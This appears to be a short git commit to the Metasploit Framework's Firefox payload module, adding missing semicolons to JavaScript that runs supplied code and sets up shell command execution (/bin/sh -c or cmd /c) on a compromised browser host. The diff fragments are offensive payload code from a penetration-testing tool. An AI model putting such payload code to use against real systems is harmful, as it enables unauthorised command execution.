Support one line js payload

Add missing ';' in `run_cmd_source`
bug/bundler_fix
Brendan Coles 2014-05-05 18:57:15 +10:00
parent a8915f0ed8
commit cc8ab9bcba
1 changed files with 2 additions and 2 deletions

View File

@ -92,7 +92,7 @@ module Msf::Payload::Firefox
try {
retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true
sent = true;
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n");
@ -111,7 +111,7 @@ module Msf::Payload::Firefox
}
var shEsc = "\\\\$&";
var shPath = "/bin/sh -c"
var shPath = "/bin/sh -c";
if (windows) {
shPath = "cmd /c";